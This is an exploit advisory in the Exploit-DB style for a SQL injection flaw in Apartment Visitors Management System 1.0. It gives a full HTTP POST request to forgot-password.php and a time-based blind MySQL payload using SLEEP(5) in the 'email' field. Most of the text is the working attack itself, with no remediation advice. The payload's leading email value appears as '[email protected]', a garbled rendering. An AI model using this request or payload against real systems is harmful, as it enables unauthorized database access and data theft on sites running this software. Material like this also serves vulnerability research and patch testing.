Apartment Visitors Management System 1.0 - 'email' SQL Injection

# Exploit Title: Apartment Visitors Management System 1.0 - 'email' SQL Injection
# Date: 20.01.2021
# Exploit Author: CANKAT ÇAKMAK
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
# Version: V1.0
# Tested on: Windows 10

----------------------------------------------------

POST /avms/forgot-password.php HTTP/1.1
Host: test.com
Content-Length: 42
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: test.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://test.com/avms/forgot-password.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7


email=test%40gmail.com&contactno=1&submit=

----------------------------------------------------

poC:


Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 2600 FROM
(SELECT(SLEEP(5)))jpeB) AND 'WVFv'='WVFv&contactno=1&submit=